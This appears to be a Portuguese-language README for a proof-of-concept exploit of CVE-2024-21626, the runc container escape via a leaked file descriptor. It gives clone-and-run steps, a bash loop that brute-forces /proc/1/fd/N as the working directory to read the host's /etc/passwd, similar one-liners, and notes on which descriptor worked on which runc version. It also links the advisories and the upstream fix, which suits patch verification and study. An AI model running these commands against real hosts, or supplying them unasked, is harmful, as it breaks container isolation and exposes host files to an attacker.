CVE-2024-21626

Exploração:

1.git clone https://github.com/cdxiaodong/CVE-2024-21626

2.docker-compose up

Verificação: se for possível obter o /etc/passwd do host, a vulnerabilidade está presente

Ambiente: runc: >=v1.0.0-rc93,<=1.1.11

Princípio do ataque: Nas versões afetadas do runc, parte dos descritores de arquivo internos é vazada durante o processo de inicialização, incluindo um handle para o /sys/fs/cgroup do host. Além disso, o runc não valida se o diretório de trabalho final está no namespace de montagem do contêiner. O atacante pode modificar a configuração de process.cwd para /proc/self/fd/7 ou substituir o caminho específico passado no parâmetro --cwd ao chamar runc exec no host por um link simbólico para /proc/self/fd/7/, permitindo que os processos no contêiner acessem e manipulem o sistema de arquivos do host, contornando assim o mecanismo de isolamento do contêiner. Mais detalhes (imagens gif):

1. O atacante usa um pacote docker-poc próprio para explorar a vulnerabilidade CVE-2024-21626 runc process.cwd e fds vazados — escape de contêiner | Snyk (snyk.io)
2. Esta imagem docker ainda não foi disponibilizada ao público (20240201)
3. Lógica da correção no código-fonte oficial: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
4. Runc vulnerável a escape de contêiner com truques de Process.CWD e fds vazados · CVE-2024-21626 · Banco de dados de avisos do GitHub

CVE: CVE - CVE-2024-21626 (mitre.org) Descobridor desta vulnerabilidade: CVE-2024-21626 runc process.cwd e fds vazados — escape de contêiner | Snyk (snyk.io)

Na prática, o fd pode mudar de acordo com a ordem de abertura dos arquivos. Você pode usar o script abaixo para fazer brute force:

/// #!/bin/bash

for i in {3..10} do # 使用变量构造工作目录，并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

Teste local bem-sucedido: fd/9 funcionou com runc-version: 1.1.10 e 1.1.2

Quando runc --version é 1.0.0:

Quando runc --version é 1.1.4: fd/8 funcionou

A vulnerabilidade acabou de ser divulgada hoje. A seguir, mais detalhes:

Pode ser reproduzida das seguintes formas:

1. Compilar o runc manualmente com breakpoints (runc - input)
2. Monitorar o runc com eBPF e definir breakpoints
3. runc create demo runc exec demo ls /proc/1/fd -a — é possível ver diretamente os links simbólicos correspondentes
4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd — fazer brute force

todo: Obter o fd com breakpoints no runc para facilitar a automação